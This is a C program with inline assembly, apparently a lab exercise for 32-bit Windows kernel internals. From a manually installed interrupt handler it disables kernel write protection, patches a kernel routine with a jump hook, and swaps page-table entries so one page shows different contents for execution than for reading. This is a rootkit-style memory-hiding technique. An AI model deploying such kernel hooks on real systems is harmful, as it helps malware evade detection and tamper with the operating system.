#include <stdio.h> #include <stdlib.h> #include <windows.h> #define PTE(x) (DWORD64 *) (((x >> 12) << 3) + 0xc0000000) #define REAL_PTE (DWORD64 *)0x8003f250 #define FAKE_PTE (DWORD64 *)0x8003f258 #define T_CR3 0x8003f260 void JmpTarget(); char* p = (char*)0x8003f130; size_t i; void __declspec(naked) IdtEntry() { for (i = 0; i < 0x100; i++) { *p = ((char*)JmpTarget)[i]; p++; } __asm { mov eax, cr0 and eax, not 0x10000 mov cr0, eax mov al,0x68 mov ds:[0x80541450],al mov dword ptr ds:[0x80541451],0x8003f130 mov al, 0xc3 mov ds:[0x80541455],al
mov eax,0xffffffff mov ds:[T_CR3],eax mov eax, cr0 or eax, 0x10000 mov cr0, eax iretd } } void __declspec(naked) JmpTarget() { __asm { pushad mov eax, cr3 cmp eax, ds: [T_CR3] jnz PASS
mov eax, cr2 shr eax, 0xc cmp eax, 0x412 jnz PASS mov eax, ss: [esp + 0x20] test eax, 0x10 jne EXECUTE jmp READWRITE EXECUTE: } *PTE(0x412000)=*REAL_PTE; __asm { mov eax, 0x412004 call eax } *PTE(0x412000) = 0; __asm { popad add esp, 4 iretd READWRITE : } *PTE(0x412000) = *FAKE_PTE; __asm { mov eax,ds:[0x41c000] } *PTE(0x412000) = 0; __asm { popad add esp, 4 iretd PASS: popad mov word ptr[esp + 2], 0 push 0x80541457 ret } } void interrupt() { __asm { int 0x20 } } int main() { if (0x401040 != IdtEntry) { printf("IdtRntry address wrong"); system("pause"); exit(-1); } interrupt(); system("pause"); }
|